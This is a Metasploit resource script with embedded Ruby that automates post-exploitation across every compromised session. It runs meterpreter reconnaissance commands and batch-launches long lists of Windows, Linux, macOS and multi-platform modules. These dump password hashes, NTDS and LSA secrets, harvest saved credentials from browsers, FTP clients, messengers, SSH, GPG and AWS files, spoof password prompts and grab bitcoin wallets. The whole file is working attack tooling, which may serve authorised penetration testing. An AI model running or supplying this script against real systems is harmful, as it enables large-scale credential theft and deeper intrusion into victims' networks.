ATAT_multi_post.rc

<ruby>
#we look in the global datastore for a global VERBOSE option and use it
if (framework.datastore['VERBOSE'] == "true")
	verbose = 1 #true
else
	verbose = 0
end

meterpreter_commands = Array.new

if (framework.datastore['METER_AUTO_COM'] != nil)
	#we look in the global datastore for a global METER_AUTO_COM option and use it
	meterpreter_commands = framework.datastore['METER_AUTO_COM'].split(" ")
else
	meterpreter_commands = [
		'sysinfo',
		'getuid',
		'getpid',
		'ps',
		'ipconfig'
	]
end

if (framework.datastore['MOD_WIN'] != nil)
	#we look in the global datastore for a global METER_AUTO_COM option and use it
	modules_win = framework.datastore['MOD_WIN'].split(" ")
else
	modules_win = [
		'post/windows/gather/ad_to_sqlite',
		'post/windows/gather/arp_scanner',
		'post/windows/gather/bitcoin_jacker',
		'post/windows/gather/bitlocker_fvek',
		'post/windows/gather/credentials/avira_password',
		'post/windows/gather/credentials/bulletproof_ftp',
		'post/windows/gather/credentials/coreftp',
		'post/windows/gather/credentials/credential_collector',
		'post/windows/gather/credentials/domain_hashdump',
		'post/windows/gather/credentials/dynazip_log',
		'post/windows/gather/credentials/dyndns',
		'post/windows/gather/credentials/enum_cred_store',
		'post/windows/gather/credentials/enum_laps',
		'post/windows/gather/credentials/enum_picasa_pwds',
		'post/windows/gather/credentials/epo_sql',
		'post/windows/gather/credentials/filezilla_server',
		'post/windows/gather/credentials/flashfxp',
		'post/windows/gather/credentials/ftpnavigator',
		'post/windows/gather/credentials/ftpx',
		'post/windows/gather/credentials/gpp',
		'post/windows/gather/credentials/heidisql',
		'post/windows/gather/credentials/idm ',
		'post/windows/gather/credentials/imail',
		'post/windows/gather/credentials/imvu',
		'post/windows/gather/credentials/mcafee_vse_hashdump',
		'post/windows/gather/credentials/mdaemon_cred_collector',
		'post/windows/gather/credentials/meebo',
		'post/windows/gather/credentials/mremote',
		'post/windows/gather/credentials/mssql_local_hashdump',
		'post/windows/gather/credentials/nimbuzz',
		'post/windows/gather/credentials/outlook',
		'post/windows/gather/credentials/razer_synapse',
		'post/windows/gather/credentials/razorsql',
		'post/windows/gather/credentials/rdc_manager_creds',
		'post/windows/gather/credentials/skype',
		'post/windows/gather/credentials/smartermail',
		'post/windows/gather/credentials/smartftp',
		'post/windows/gather/credentials/spark_im',
		'post/windows/gather/credentials/sso',
		'post/windows/gather/credentials/steam',
		'post/windows/gather/credentials/tortoisesvn',
		'post/windows/gather/credentials/total_commander',
		'post/windows/gather/credentials/trillian',
		'post/windows/gather/credentials/vnc',
		'post/windows/gather/credentials/windows_autologin',
		'post/windows/gather/credentials/winscp',
		'post/windows/gather/credentials/wsftp_client',
		'post/windows/gather/dnscache_dump',
		'post/windows/gather/dumplinks',
		'post/windows/gather/enum_ad_bitlocker',
		'post/windows/gather/enum_ad_computers',
		'post/windows/gather/enum_ad_groups',
		'post/windows/gather/enum_ad_managedby_groups',
		'post/windows/gather/enum_ad_service_principal_names ',
		'post/windows/gather/enum_ad_to_wordlist',
		'post/windows/gather/enum_ad_user_comments',
		'post/windows/gather/enum_ad_users',
		'post/windows/gather/enum_applications',
		'post/windows/gather/enum_artifacts',
		'post/windows/gather/enum_av_excluded',
		'post/windows/gather/enum_chrome',
		'post/windows/gather/enum_computers',
		'post/windows/gather/enum_db',
		'post/windows/gather/enum_devices',
		'post/windows/gather/enum_dirperms',
		'post/windows/gather/enum_domain',
		'post/windows/gather/enum_domain_group_users',
		'post/windows/gather/enum_domain_tokens',
		'post/windows/gather/enum_domain_users',
		'post/windows/gather/enum_domains',
		'post/windows/gather/enum_emet',
		'post/windows/gather/enum_files',
		'post/windows/gather/enum_hostfile',
		'post/windows/gather/enum_ie',
		'post/windows/gather/enum_logged_on_users',
		'post/windows/gather/enum_ms_product_keys',
		'post/windows/gather/enum_muicache',
		'post/windows/gather/enum_patches',
		'post/windows/gather/enum_powershell_env',
		'post/windows/gather/enum_prefetch',
		'post/windows/gather/enum_proxy',
		'post/windows/gather/enum_putty_saved_sessions',
		'post/windows/gather/enum_services',
		'post/windows/gather/enum_shares',
		'post/windows/gather/enum_snmp',
		'post/windows/gather/enum_termserv',
		'post/windows/gather/enum_tokens',
		'post/windows/gather/enum_tomcat',
		'post/windows/gather/enum_trusted_locations',
		'post/windows/gather/enum_unattend',
		'post/windows/gather/file_from_raw_ntfs',
		'post/windows/gather/forensics/browser_history',
		'post/windows/gather/forensics/duqu_check',
		'post/windows/gather/forensics/enum_drives',
		'post/windows/gather/forensics/imager',
		'post/windows/gather/forensics/nbd_server',
		'post/windows/gather/forensics/recovery_files',
		'post/windows/gather/hashdump',
		'post/windows/gather/local_admin_search_enum',
		'post/windows/gather/lsa_secrets',
		'post/windows/gather/make_csv_orgchart',
		'post/windows/gather/memory_grep',
		'post/windows/gather/netlm_downgrade',
		'post/windows/gather/ntds_grabber',
		'post/windows/gather/ntds_location',
		'post/windows/gather/outlook',
		'post/windows/gather/phish_windows_credentials',
		'post/windows/gather/resolve_sid',
		'post/windows/gather/reverse_lookup',
		'post/windows/gather/screen_spy',
		'post/windows/gather/smart_hashdump',
		'post/windows/gather/tcpnetstat',
		'post/windows/gather/usb_history',
		'post/windows/gather/win_privs',
		'post/windows/gather/cachedump',
		'post/windows/gather/checkvm',
		'post/windows/wlan/wlan_profile',
		'post/windows/gather/arp_scanner',
		'post/windows/gather/enum_firefox',
		'post/windows/gather/credentials/credential_collector',
		'post/windows/gather/usb_history'
	]	# add some more modules or comment some out ...
end

if (framework.datastore['MOD_LIN'] != nil)
	#we look in the global datastore for a global METER_AUTO_COM option and use it
	modules_lin = framework.datastore['MOD_LIN'].split(" ")
else
	modules_lin = [
		'post/linux/gather/hashdump',
		'post/osx/gather/hashdump',
		'post/linux/gather/enum_network',
		'post/linux/gather/enum_system',
		'post/linux/gather/enum_users_history',
		'post/linux/gather/checkvm',
		'post/osx/gather/enum_osx',
		'post/linux/gather/enum_configs',
		'post/linux/gather/enum_protections',
		'post/linux/gather/ecryptfs_creds',
		'post/linux/gather/enum_psk',
		'post/linux/gather/enum_xchat',
		'post/linux/gather/gnome_commander_creds',
		'post/linux/gather/gnome_keyring_dump',
		'post/linux/gather/mount_cifs_creds',
		'post/linux/gather/openvpn_credentials',
        'post/linux/gather/phpmyadmin_credsteal',
        'post/linux/gather/pptpd_chap_secrets',
        'post/linux/gather/tor_hiddenservices',
		'post/linux/gather/checkcontainer',
		'post/osx/gather/apfs_encrypted_volume_passwd',
		'post/osx/gather/autologin_password',
		'post/osx/gather/enum_adium',
		'post/osx/gather/enum_airport',
		'post/osx/gather/enum_chicken_vnc_profile',
		'post/osx/gather/enum_colloquy',
		'post/osx/gather/enum_keychain',
		'post/osx/gather/enum_messages',
		'post/osx/gather/password_prompt_spoof',
		'post/osx/gather/safari_lastsession',
		'post/osx/gather/vnc_password_osx'
	]
end

if (framework.datastore['MOD_MULTI'] != nil)
	#we look in the global datastore for a global METER_AUTO_COM option and use it
	modules_multi = framework.datastore['MOD_MULTI'].split(" ")
else
	modules_multi = [
		'post/multi/gather/env',
		'post/multi/gather/gpg_creds',
		'post/multi/gather/ssh_creds',
		'post/multi/gather/firefox_creds',
		'post/multi/recon/local_exploit_suggester',
		'post/multi/gather/apple_ios_backup',
		'post/multi/gather/aws_ec2_instance_metadata',
		'post/multi/gather/aws_keys',
		'post/multi/gather/check_malware',
		'post/multi/gather/dbvis_enum',
#		'post/multi/gather/dns_bruteforce',
		'post/multi/gather/dns_reverse_lookup',
		'post/multi/gather/dns_srv_lookup',
		'post/multi/gather/docker_creds',
		'post/multi/gather/enum_vbox',
		'post/multi/gather/fetchmailrc_creds',
		'post/multi/gather/filezilla_client_cred',
		'post/multi/gather/find_vmx',
		'post/multi/gather/irssi_creds',
		'post/multi/gather/jboss_gather',
		'post/multi/gather/jenkins_gather',
		'post/multi/gather/lastpass_creds',
		'post/multi/gather/maven_creds',
#		'post/multi/gather/multi_command',
		'post/multi/gather/netrc_creds',
		'post/multi/gather/pgpass_creds',
		'post/multi/gather/pidgin_cred',
#		'post/multi/gather/ping_sweep',
		'post/multi/gather/remmina_creds',
		'post/multi/gather/resolve_hosts',
		'post/multi/gather/rsyncd_creds',
		'post/multi/gather/rubygems_api_key',
#		'post/multi/gather/run_console_rc_file',
		'post/multi/gather/skype_enum',
		'post/multi/gather/thunderbird_creds',
		'post/multi/gather/tomcat_gather',
		'post/multi/gather/wlan_geolocate'
	]
end

# lets start if we have a session
if (framework.sessions.length > 0)
	print_status("starting with post exploitation stuff")
	framework.sessions.each_key do |sid|
		session = framework.sessions[sid]
		#meterpreter commands against every meterpreter session
		if(session.type == "meterpreter")
			print_line("starting meterpreter commands on session number #{sid}")
			meterpreter_commands.each { |command|
				print_line("running meterpreter command #{command}")
				session.console.run_single("#{command.to_s}")
				print_line
			}
		end
	end

	print_status("starting the post exploitation with post exploitation modules")

	# lets start with post exploitation modules
	framework.sessions.each_key do |sid|
		session = framework.sessions[sid]
		ips = session.session_host
		print_status("Session ID: #{sid.to_i} - IP: #{ips}")

		# multi -> all sessions
		modules_multi.each { |modul|
				run_single("use #{modul}")
				run_single("set SESSION #{sid}")
				if (verbose == 1)
					run_single("run -j")
				else
					run_single("run -j -q")
				end
		}

		# windows sessions
		if(session.platform =~ /win/)
			modules_win.each { |modul|
				run_single("use #{modul}")
				run_single("set SESSION #{sid}")
				if (verbose == 1)
					run_single("run -j")
				else
					run_single("run -j -q")
				end
			}
		else
			# all other sessions -> typical some linux or unix based systems
			modules_lin.each { |modul|
				run_single("use #{modul}")
				run_single("set SESSION #{sid}")
				if (verbose == 1)
					run_single("run -j")
				else
					run_single("run -j -q")
				end
			}
		end
	end
else
	print_error("no sessions available")
end
run_single("back")
</ruby>